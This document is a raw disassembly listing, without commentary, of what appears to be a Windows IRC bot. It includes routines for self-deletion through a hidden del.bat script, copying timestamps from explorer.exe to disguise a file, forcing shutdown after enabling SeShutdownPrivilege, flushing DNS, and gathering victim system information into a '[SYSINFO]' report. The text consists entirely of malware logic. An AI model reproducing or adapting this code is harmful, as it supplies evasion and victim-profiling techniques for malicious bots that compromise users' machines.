[ebp+var_100C] mov [ebp+var_1018], eax jmp short loc_408306 ; --------------------------------------------------------------------------- loc_4082FA: ; CODE XREF: sub_408200+E4j mov eax, [ebp+var_1014] mov [ebp+var_1018], eax loc_408306: ; CODE XREF: sub_408200+F8j mov eax, [ebp+var_1008] add eax, [ebp+var_1018] mov [ebp+var_1008], eax mov eax, [ebp+var_1008] cmp eax, [ebp+var_4] jl short loc_408327 xor eax, eax jmp short loc_408347 ; --------------------------------------------------------------------------- loc_408327: ; CODE XREF: sub_408200+121j mov eax, [ebp+var_1010] dec eax mov [ebp+var_100C], eax jmp loc_408283 ; --------------------------------------------------------------------------- loc_408339: ; CODE XREF: sub_408200+ADj jmp loc_40825C ; --------------------------------------------------------------------------- loc_40833E: ; CODE XREF: sub_408200+7Dj mov eax, [ebp+Str] add eax, [ebp+var_1008] loc_408347: ; CODE XREF: sub_408200+125j pop esi leave retn sub_408200 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40834A proc near ; CODE XREF: sub_40ABFE+342Fp dwMessageId = dword ptr -108h Buffer = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 108h call ds:GetLastError mov [ebp+dwMessageId], eax push 0 ; Arguments push 100h ; nSize lea eax, [ebp+Buffer] push eax ; lpBuffer push 400h ; dwLanguageId push [ebp+dwMessageId] ; dwMessageId push 0 ; lpSource push 1200h ; dwFlags call ds:FormatMessageA ; FormatMessageA lea eax, [ebp+Buffer] mov [ebp+var_4], eax loc_40838E: ; CODE XREF: sub_40834A+61j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 1Fh jg short loc_4083A4 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 9 jnz short loc_4083AD loc_4083A4: ; CODE XREF: sub_40834A+4Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_40838E ; --------------------------------------------------------------------------- loc_4083AD: ; CODE XREF: sub_40834A+58j ; sub_40834A+86j ... mov eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] lea ecx, [ebp+Buffer] cmp eax, ecx jb short loc_4083DD mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 2Eh jz short loc_4083AD mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 21h jl short loc_4083AD loc_4083DD: ; CODE XREF: sub_40834A+7Bj push [ebp+dwMessageId] lea eax, [ebp+Buffer] push eax push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h ; Count push offset byte_42654C ; Dest call __snprintf add esp, 18h mov eax, offset byte_42654C leave retn sub_40834A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40840B(char *Format) sub_40840B proc near ; CODE XREF: sub_40ABFE+34FFp Dest = dword ptr -0Ch hObject = dword ptr -8 var_4 = dword ptr -4 Format = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push 0 push offset aMirc ; "mIRC" call dword_426430 ; FindWindowA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4084A1 push offset Name ; "mIRC" push 1000h ; dwMaximumSizeLow push 0 ; dwMaximumSizeHigh push 4 ; flProtect push 0 ; lpFileMappingAttributes push 0FFFFFFFFh ; hFile call ds:CreateFileMappingA ; CreateFileMappingA mov [ebp+hObject], eax push 0 ; dwNumberOfBytesToMap push 0 ; dwFileOffsetLow push 0 ; dwFileOffsetHigh push 0F001Fh ; dwDesiredAccess push [ebp+hObject] ; hFileMappingObject call ds:MapViewOfFile ; MapViewOfFile mov [ebp+Dest], eax push [ebp+Format] ; Format push [ebp+Dest] ; Dest call _sprintf pop ecx pop ecx push 0 push 1 push 4C8h push [ebp+var_4] call dword_42647C ; SendMessageA push 0 push 1 push 4C9h push [ebp+var_4] call dword_42647C ; SendMessageA push [ebp+Dest] ; lpBaseAddress call ds:UnmapViewOfFile ; UnmapViewOfFile push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle push 1 pop eax jmp short locret_4084A3 ; --------------------------------------------------------------------------- loc_4084A1: ; CODE XREF: sub_40840B+1Aj xor eax, eax locret_4084A3: ; CODE XREF: sub_40840B+94j leave retn sub_40840B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4084A5(LPCSTR lpFileName) sub_4084A5 proc near ; CODE XREF: WinMain(x,x,x,x)+28Ap hObject = dword ptr -120h CreationTime = _FILETIME ptr -11Ch LastWriteTime = _FILETIME ptr -114h FileName = byte ptr -10Ch LastAccessTime = _FILETIME ptr -8 lpFileName = dword ptr 8 push ebp mov ebp, esp sub esp, 120h push 0 lea eax, [ebp+FileName] push eax push 104h push 0 push offset aExplorer_exe ; "explorer.exe" push 0 call dword_4264D8 ; SearchPathA test eax, eax jnz short loc_4084D4 jmp locret_408580 ; --------------------------------------------------------------------------- loc_4084D4: ; CODE XREF: sub_4084A5+28j push 0 ; hTemplateFile push 80h ; dwFlagsAndAttributes push 3 ; dwCreationDisposition push 0 ; lpSecurityAttributes push 1 ; dwShareMode push 80000000h ; dwDesiredAccess lea eax, [ebp+FileName] push eax ; lpFileName call ds:CreateFileA ; CreateFileA mov [ebp+hObject], eax cmp [ebp+hObject], 0FFFFFFFFh jz short locret_408580 lea eax, [ebp+LastWriteTime] push eax ; lpLastWriteTime lea eax, [ebp+LastAccessTime] push eax ; lpLastAccessTime lea eax, [ebp+CreationTime] push eax ; lpCreationTime push [ebp+hObject] ; hFile call ds:GetFileTime ; GetFileTime push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle push 0 ; hTemplateFile push 80h ; dwFlagsAndAttributes push 3 ; dwCreationDisposition push 0 ; lpSecurityAttributes push 2 ; dwShareMode push 40000000h ; dwDesiredAccess push [ebp+lpFileName] ; lpFileName call ds:CreateFileA ; CreateFileA mov [ebp+hObject], eax cmp [ebp+hObject], 0FFFFFFFFh jz short locret_408580 lea eax, [ebp+LastWriteTime] push eax ; lpLastWriteTime lea eax, [ebp+LastAccessTime] push eax ; lpLastAccessTime lea eax, [ebp+CreationTime] push eax ; lpCreationTime push [ebp+hObject] ; hFile call ds:SetFileTime ; SetFileTime push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle locret_408580: ; CODE XREF: sub_4084A5+2Aj ; sub_4084A5+5Bj ... leave retn sub_4084A5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 454h push 10h push 0 lea eax, [ebp-454h] push eax call _memset add esp, 0Ch push 44h push 0 lea eax, [ebp-444h] push eax call _memset add esp, 0Ch mov dword ptr [ebp-444h], 44h mov dword ptr [ebp-418h], 1 and word ptr [ebp-414h], 0 push dword ptr [ebp+0Ch] push dword ptr [ebp+8] push offset aSS_5 ; "%s %s" push 400h lea eax, [ebp-400h] push eax call __snprintf add esp, 14h lea eax, [ebp-454h] push eax lea eax, [ebp-444h] push eax push 0 push 0 push 28h push 0 push 0 push 0 lea eax, [ebp-400h] push eax push dword ptr [ebp+8] call ds:CreateProcessA ; CreateProcessA test eax, eax jnz short loc_40861E xor eax, eax jmp short locret_408624 ; --------------------------------------------------------------------------- loc_40861E: ; CODE XREF: .text:00408618j mov eax, [ebp-44Ch] locret_408624: ; CODE XREF: .text:0040861Cj leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408626 proc near ; CODE XREF: sub_40ABFE+1CFCp push ebp mov ebp, esp push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_40F515 pop ecx pop ecx push 50005h push 6 call dword_426390 ; ExitWindowsEx test eax, eax jnz short loc_40864C xor eax, eax jmp short loc_40864F ; --------------------------------------------------------------------------- loc_40864C: ; CODE XREF: sub_408626+20j push 1 pop eax loc_40864F: ; CODE XREF: sub_408626+24j pop ebp retn sub_408626 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408651 proc near ; CODE XREF: sub_4095D3+54Dp ; sub_40ABFE+225Ep ProcessInformation= _PROCESS_INFORMATION ptr -768h StartupInfo = _STARTUPINFOA ptr -758h NumberOfBytesWritten= dword ptr -714h Buffer = byte ptr -710h Dest = byte ptr -310h hObject = dword ptr -20Ch CommandLine = byte ptr -208h Filename = byte ptr -104h push ebp mov ebp, esp sub esp, 768h cmp dword_421C40, 0 jz short loc_408674 cmp dword_4264EC, 0 jnz short loc_408674 push 0 ; Str call sub_40954C pop ecx loc_408674: ; CODE XREF: sub_408651+10j ; sub_408651+19j call sub_41050C lea eax, [ebp+Buffer] push eax ; lpBuffer push 400h ; nBufferLength call ds:GetTempPathA ; GetTempPathA lea eax, [ebp+Buffer] push eax push offset aSdel_bat ; "%sdel.bat" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch push 0 ; hTemplateFile push 0 ; dwFlagsAndAttributes push 2 ; dwCreationDisposition push 0 ; lpSecurityAttributes push 0 ; dwShareMode push 40000000h ; dwDesiredAccess lea eax, [ebp+Dest] push eax ; lpFileName call ds:CreateFileA ; CreateFileA mov [ebp+hObject], eax cmp [ebp+hObject], 0 jbe locret_408818 lea eax, [ebp+Dest] push eax push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... lea eax, [ebp+Buffer] push eax ; Dest call _sprintf add esp, 0Ch push 0 ; lpOverlapped lea eax, [ebp+NumberOfBytesWritten] push eax ; lpNumberOfBytesWritten lea eax, [ebp+Buffer] push eax ; Str call _strlen pop ecx push eax ; nNumberOfBytesToWrite lea eax, [ebp+Buffer] push eax ; lpBuffer push [ebp+hObject] ; hFile call ds:WriteFile ; WriteFile push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle push 10h ; Size push 0 ; Val lea eax, [ebp+ProcessInformation] push eax ; Dst call _memset add esp, 0Ch push 44h ; Size push 0 ; Val lea eax, [ebp+StartupInfo] push eax ; Dst call _memset add esp, 0Ch mov [ebp+StartupInfo.lpTitle], offset dword_426750 mov [ebp+StartupInfo.cb], 44h mov [ebp+StartupInfo.dwFlags], 1 and [ebp+StartupInfo.wShowWindow], 0 push 104h ; nSize lea eax, [ebp+Filename] push eax ; lpFilename push 0 ; lpModuleName call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetModuleFileNameA ; GetModuleFileNameA lea eax, [ebp+Filename] push eax ; lpFileName call ds:GetFileAttributesA ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4087B1 push 80h ; dwFileAttributes lea eax, [ebp+Filename] push eax ; lpFileName call ds:SetFileAttributesA ; SetFileAttributesA loc_4087B1: ; CODE XREF: sub_408651+14Cj lea eax, [ebp+Filename] push eax lea eax, [ebp+Dest] push eax push offset aComspecCSS ; "%%comspec%% /c %s %s" lea eax, [ebp+Buffer] push eax ; Dest call _sprintf add esp, 10h push 104h ; nSize lea eax, [ebp+CommandLine] push eax ; lpDst lea eax, [ebp+Buffer] push eax ; lpSrc call ds:ExpandEnvironmentStringsA ; ExpandEnvironmentStringsA lea eax, [ebp+ProcessInformation] push eax ; lpProcessInformation lea eax, [ebp+StartupInfo] push eax ; lpStartupInfo push 0 ; lpCurrentDirectory push 0 ; lpEnvironment push 4008h ; dwCreationFlags push 1 ; bInheritHandles push 0 ; lpThreadAttributes push 0 ; lpProcessAttributes lea eax, [ebp+CommandLine] push eax ; lpCommandLine push 0 ; lpApplicationName call ds:CreateProcessA ; CreateProcessA locret_408818: ; CODE XREF: sub_408651+7Ej leave retn sub_408651 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 2Ch cmp dword ptr [ebp+8], 0 jz loc_4088CC push offset dword_426768 push dword ptr [ebp+8] call _strcmp pop ecx pop ecx test eax, eax jz loc_4088CC push 20h push dword ptr [ebp+8] lea eax, [ebp-24h] push eax call _strncpy add esp, 0Ch push offset a_ ; "." lea eax, [ebp-24h] push eax call _strtok pop ecx pop ecx mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz short loc_4088CC push dword ptr [ebp-4] call _atoi pop ecx mov [ebp-28h], eax push offset a__0 ; "." push 0 call _strtok pop ecx pop ecx mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz short loc_4088CC push dword ptr [ebp-4] call _atoi pop ecx mov [ebp-2Ch], eax cmp dword ptr [ebp-28h], 0Ah jz short loc_4088C7 cmp dword ptr [ebp-28h], 0ACh jnz short loc_4088B5 cmp dword ptr [ebp-2Ch], 0Fh jle short loc_4088B5 cmp dword ptr [ebp-2Ch], 20h jl short loc_4088C7 loc_4088B5: ; CODE XREF: .text:004088A7j ; .text:004088ADj cmp dword ptr [ebp-28h], 0C0h jnz short loc_4088CC cmp dword ptr [ebp-2Ch], 0A8h jnz short loc_4088CC loc_4088C7: ; CODE XREF: .text:0040889Ej ; .text:004088B3j push 1 pop eax jmp short locret_4088CE ; --------------------------------------------------------------------------- loc_4088CC: ; CODE XREF: .text:00408824j ; .text:0040883Bj ... xor eax, eax locret_4088CE: ; CODE XREF: .text:004088CAj leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088D0 proc near ; CODE XREF: sub_409D82+98p ; sub_40A776+71p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call dword_426460 ; inet_addr mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_40890B push [ebp+arg_0] call dword_4264A4 ; gethostbyname mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4088FE or eax, 0FFFFFFFFh jmp short locret_40890E ; --------------------------------------------------------------------------- loc_4088FE: ; CODE XREF: sub_4088D0+27j mov eax, [ebp+var_8] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax loc_40890B: ; CODE XREF: sub_4088D0+15j mov eax, [ebp+var_4] locret_40890E: ; CODE XREF: sub_4088D0+2Cj leave retn sub_4088D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408910 proc near ; CODE XREF: sub_40A776+129p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 cmp dword_426370, 0 jz short loc_40892A call dword_426370 ; DnsFlushResolverCache mov [ebp+var_4], eax loc_40892A: ; CODE XREF: sub_408910+Fj mov eax, [ebp+var_4] leave retn sub_408910 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40892F proc near ; CODE XREF: sub_4011CD+38p ; .text:004029F4p ... var_14 = dword ptr -14h Dst = byte ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov [ebp+var_14], 10h push 10h ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_14] push eax lea eax, [ebp+Dst] push eax push [ebp+arg_0] call dword_4263D4 ; getsockname movzx eax, [ebp+var_9] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_B] push eax movzx eax, [ebp+var_C] push eax push offset aD_D_D_D_2 ; "%d.%d.%d.%d" push offset Dest ; Dest call _sprintf add esp, 18h mov eax, offset Dest leave retn sub_40892F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40898A proc near ; CODE XREF: .text:004055C3p ; sub_40634F+5E1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 loc_408992: ; CODE XREF: sub_40898A+2Cj cmp [ebp+arg_4], 1 jle short loc_4089B8 mov eax, [ebp+arg_0] movzx eax, word ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax dec eax mov [ebp+arg_4], eax jmp short loc_408992 ; --------------------------------------------------------------------------- loc_4089B8: ; CODE XREF: sub_40898A+Cj cmp [ebp+arg_4], 0 jz short loc_4089CC mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx loc_4089CC: ; CODE XREF: sub_40898A+32j mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] and ecx, 0FFFFh add eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+var_4] not eax leave retn sub_40898A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h and dword ptr [ebp-4], 0 and word ptr [ebp-8], 0 mov eax, [ebp+8] mov [ebp-0Ch], eax mov eax, [ebp+0Ch] mov [ebp-10h], eax loc_408A10: ; CODE XREF: .text:00408A34j cmp dword ptr [ebp-10h], 1 jle short loc_408A36 mov eax, [ebp-0Ch] movzx eax, word ptr [eax] mov ecx, [ebp-4] add ecx, eax mov [ebp-4], ecx mov eax, [ebp-0Ch] inc eax inc eax mov [ebp-0Ch], eax mov eax, [ebp-10h] dec eax dec eax mov [ebp-10h], eax jmp short loc_408A10 ; --------------------------------------------------------------------------- loc_408A36: ; CODE XREF: .text:00408A14j cmp dword ptr [ebp-10h], 1 jnz short loc_408A50 mov eax, [ebp-0Ch] mov al, [eax] mov [ebp-8], al movzx eax, word ptr [ebp-8] mov ecx, [ebp-4] add ecx, eax mov [ebp-4], ecx loc_408A50: ; CODE XREF: .text:00408A3Aj mov eax, [ebp-4] sar eax, 10h mov ecx, [ebp-4] and ecx, 0FFFFh add eax, ecx mov [ebp-4], eax mov eax, [ebp-4] sar eax, 10h mov ecx, [ebp-4] add ecx, eax mov [ebp-4], ecx mov eax, [ebp-4] not eax mov [ebp-8], ax mov ax, [ebp-8] leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408A81 proc near ; CODE XREF: sub_408C2B+25Ep ; sub_40ABFE+1C07p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h call ds:GetTickCount ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx sub eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_8], eax mov eax, [ebp+var_4] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_C], eax mov eax, [ebp+var_4] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_10], eax push [ebp+var_10] push [ebp+var_C] push [ebp+var_8] push offset aDdDhDm ; "%dd %dh %dm" push 32h ; Count push offset byte_42676C ; Dest call __snprintf add esp, 18h mov eax, offset byte_42676C leave retn sub_408A81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B0C proc near ; CODE XREF: sub_408C2B+2AAp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h loc_408B12: ; CODE XREF: sub_408B0C+3Fj ; sub_408B0C+4Aj call sub_408FD4 mov [ebp+var_20], eax mov [ebp+var_1C], edx push 3E8h ; dwMilliseconds call ds:Sleep ; Sleep call sub_408FD4 sub eax, [ebp+var_20] sbb edx, [ebp+var_1C] push 0 push 0F4240h push edx push eax call __aulldiv mov [ebp+var_8], eax mov [ebp+var_4], edx cmp [ebp+var_4], 0 ja short loc_408B12 jb short loc_408B58 cmp [ebp+var_8], 0F4240h ja short loc_408B12 loc_408B58: ; CODE XREF: sub_408B0C+41j push 0 push 64h push [ebp+var_4] push [ebp+var_8] call __aullrem mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], 64h and [ebp+var_C], 0 cmp [ebp+var_14], 0 ja short loc_408B91 jb short loc_408B86 cmp [ebp+var_18], 50h jnb short loc_408B91 loc_408B86: ; CODE XREF: sub_408B0C+72j mov [ebp+var_10], 4Bh and [ebp+var_C], 0 loc_408B91: ; CODE XREF: sub_408B0C+70j ; sub_408B0C+78j cmp [ebp+var_14], 0 ja short loc_408BAA jb short loc_408B9F cmp [ebp+var_18], 47h jnb short loc_408BAA loc_408B9F: ; CODE XREF: sub_408B0C+8Bj mov [ebp+var_10], 42h and [ebp+var_C], 0 loc_408BAA: ; CODE XREF: sub_408B0C+89j ; sub_408B0C+91j cmp [ebp+var_14], 0 ja short loc_408BC3 jb short loc_408BB8 cmp [ebp+var_18], 37h jnb short loc_408BC3 loc_408BB8: ; CODE XREF: sub_408B0C+A4j mov [ebp+var_10], 32h and [ebp+var_C], 0 loc_408BC3: ; CODE XREF: sub_408B0C+A2j ; sub_408B0C+AAj cmp [ebp+var_14], 0 ja short loc_408BDC jb short loc_408BD1 cmp [ebp+var_18], 26h jnb short loc_408BDC loc_408BD1: ; CODE XREF: sub_408B0C+BDj mov [ebp+var_10], 21h and [ebp+var_C], 0 loc_408BDC: ; CODE XREF: sub_408B0C+BBj ; sub_408B0C+C3j cmp [ebp+var_14], 0 ja short loc_408BF5 jb short loc_408BEA cmp [ebp+var_18], 1Eh jnb short loc_408BF5 loc_408BEA: ; CODE XREF: sub_408B0C+D6j mov [ebp+var_10], 19h and [ebp+var_C], 0 loc_408BF5: ; CODE XREF: sub_408B0C+D4j ; sub_408B0C+DCj cmp [ebp+var_14], 0 ja short loc_408C0B jb short loc_408C03 cmp [ebp+var_18], 0Ah jnb short loc_408C0B loc_408C03: ; CODE XREF: sub_408B0C+EFj and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408C0B: ; CODE XREF: sub_408B0C+EDj ; sub_408B0C+F5j mov eax, [ebp+var_8] sub eax, [ebp+var_18] mov ecx, [ebp+var_4] sbb ecx, [ebp+var_14] add eax, [ebp+var_10] adc ecx, [ebp+var_C] mov [ebp+var_8], eax mov [ebp+var_4], ecx mov eax, [ebp+var_8] mov edx, [ebp+var_4] leave retn sub_408B0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C2B proc near ; CODE XREF: sub_40ABFE+21E2p VersionInformation= _OSVERSIONINFOA ptr -4E0h var_44C = dword ptr -44Ch Buffer = byte ptr -448h var_344 = word ptr -344h var_342 = byte ptr -342h Dest = byte ptr -244h var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h DateStr = byte ptr -1B0h Dst = byte ptr -168h var_148 = dword ptr -148h TimeStr = byte ptr -144h var_FC = byte ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4E0h push edi mov [ebp+var_148], offset dword_4267A4 mov [ebp+VersionInformation.dwOSVersionInfoSize], 94h lea eax, [ebp+VersionInformation] push eax ; lpVersionInformation call ds:GetVersionExA ; GetVersionExA cmp [ebp+VersionInformation.dwMajorVersion], 4 jnz short loc_408C93 cmp [ebp+VersionInformation.dwMinorVersion], 0 jnz short loc_408C93 cmp [ebp+VersionInformation.dwPlatformId], 1 jnz short loc_408C7B mov [ebp+var_148], offset a95 ; "95" loc_408C7B: ; CODE XREF: sub_408C2B+44j cmp [ebp+VersionInformation.dwPlatformId], 2 jnz short loc_408C8E mov [ebp+var_148], offset aNt ; "NT" loc_408C8E: ; CODE XREF: sub_408C2B+57j jmp loc_408D36 ; --------------------------------------------------------------------------- loc_408C93: ; CODE XREF: sub_408C2B+32j ; sub_408C2B+3Bj cmp [ebp+VersionInformation.dwMajorVersion], 4 jnz short loc_408CB4 cmp [ebp+VersionInformation.dwMinorVersion], 0Ah jnz short loc_408CB4 mov [ebp+var_148], offset a98 ; "98" jmp loc_408D36 ; --------------------------------------------------------------------------- loc_408CB4: ; CODE XREF: sub_408C2B+6Fj ; sub_408C2B+78j cmp [ebp+VersionInformation.dwMajorVersion], 4 jnz short loc_408CD2 cmp [ebp+VersionInformation.dwMinorVersion], 5Ah jnz short loc_408CD2 mov [ebp+var_148], offset aMe ; "ME" jmp short loc_408D36 ; --------------------------------------------------------------------------- loc_408CD2: ; CODE XREF: sub_408C2B+90j ; sub_408C2B+99j cmp [ebp+VersionInformation.dwMajorVersion], 5 jnz short loc_408CF0 cmp [ebp+VersionInformation.dwMinorVersion], 0 jnz short loc_408CF0 mov [ebp+var_148], offset a2k ; "2K" jmp short loc_408D36 ; --------------------------------------------------------------------------- loc_408CF0: ; CODE XREF: sub_408C2B+AEj ; sub_408C2B+B7j cmp [ebp+VersionInformation.dwMajorVersion], 5 jnz short loc_408D0E cmp [ebp+VersionInformation.dwMinorVersion], 1 jnz short loc_408D0E mov [ebp+var_148], offset aXp ; "XP" jmp short loc_408D36 ; --------------------------------------------------------------------------- loc_408D0E: ; CODE XREF: sub_408C2B+CCj ; sub_408C2B+D5j cmp [ebp+VersionInformation.dwMajorVersion], 5 jnz short loc_408D2C cmp [ebp+VersionInformation.dwMinorVersion], 2 jnz short loc_408D2C mov [ebp+var_148], offset a2003 ; "2003" jmp short loc_408D36 ; --------------------------------------------------------------------------- loc_408D2C: ; CODE XREF: sub_408C2B+EAj ; sub_408C2B+F3j mov [ebp+var_148], offset a??? ; "???" loc_408D36: ; CODE XREF: sub_408C2B:loc_408C8Ej ; sub_408C2B+84j ... cmp [ebp+VersionInformation.dwPlatformId], 2 jnz short loc_408D77 movsx eax, [ebp+VersionInformation.szCSDVersion] test eax, eax jz short loc_408D77 lea eax, [ebp+VersionInformation.szCSDVersion] push eax push [ebp+var_148] push offset aSS_6 ; "%s (%s)" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Dest] mov [ebp+var_148], eax loc_408D77: ; CODE XREF: sub_408C2B+112j ; sub_408C2B+11Dj mov [ebp+var_1B8], 100h mov ax, word_4216EC mov [ebp+var_344], ax push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_342] rep stosd stosw cmp dword_426344, 0 jz short loc_408DBA lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_344] push eax call dword_426344 ; GetUserNameA loc_408DBA: ; CODE XREF: sub_408C2B+179j push [ebp+arg_4] call sub_40892F pop ecx push eax call dword_426460 ; inet_addr mov [ebp+var_44C], eax push 2 push 4 lea eax, [ebp+var_44C] push eax call dword_4263E8 ; gethostbyaddr mov [ebp+var_1B4], eax cmp [ebp+var_1B4], 0 jz short loc_408E08 mov eax, [ebp+var_1B4] push dword ptr [eax] ; Format lea eax, [ebp+var_FC] push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_408E1B ; --------------------------------------------------------------------------- loc_408E08: ; CODE XREF: sub_408C2B+1C3j push offset aCouldnTResolve ; "couldn't resolve host" lea eax, [ebp+var_FC] push eax ; Dest call _sprintf pop ecx pop ecx loc_408E1B: ; CODE XREF: sub_408C2B+1DBj push 104h ; uSize lea eax, [ebp+Buffer] push eax ; lpBuffer call ds:GetSystemDirectoryA ; GetSystemDirectoryA push 46h ; cchDate lea eax, [ebp+DateStr] push eax ; lpDateStr push offset Format ; "dd:MMM:yyyy" push 0 ; lpDate push 0 ; dwFlags push 409h ; Locale call ds:GetDateFormatA ; GetDateFormatA push 46h ; cchTime lea eax, [ebp+TimeStr] push eax ; lpTimeStr push offset aHhMmSs ; "HH:mm:ss" push 0 ; lpTime push 0 ; dwFlags push 409h ; Locale call ds:GetTimeFormatA ; GetTimeFormatA push 20h ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push eax ; lpBuffer call ds:GlobalMemoryStatus ; GlobalMemoryStatus push 0 call sub_408A81 pop ecx push eax lea eax, [ebp+TimeStr] push eax lea eax, [ebp+DateStr] push eax lea eax, [ebp+var_344] push eax push [ebp+arg_4] call sub_40892F pop ecx push eax lea eax, [ebp+var_FC] push eax lea eax, [ebp+Buffer] push eax push [ebp+VersionInformation.dwBuildNumber] push [ebp+VersionInformation.dwMinorVersion] push [ebp+VersionInformation.dwMajorVersion] push [ebp+var_148] call sub_408B0C push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [OS]: Windo"... push 200h ; Count push [ebp+arg_0] ; Dest call __snprintf add esp, 40h mov eax, [ebp+arg_0] pop edi leave retn sub_408C2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EF7 proc near ; CODE XREF: sub_40ABFE+2169p ; sub_40ABFE+36A3p var_8C = dword ptr -8Ch Dest = byte ptr -88h Dst = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push 80h ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch cmp dword_426504, 0 jnz short loc_408F7F push 0 push 80h lea eax, [ebp+Dst] push eax lea eax, [ebp+var_8C] push eax call dword_426330 ; InternetGetConnectedStateExA test eax, eax jnz short loc_408F48 push offset aNotConnected ; "Not connected" lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_408F48: ; CODE XREF: sub_408EF7+3Fj mov eax, [ebp+var_8C] and eax, 1 test eax, eax jz short loc_408F6A push offset aDialUp ; "Dial-up" lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_408F7D ; 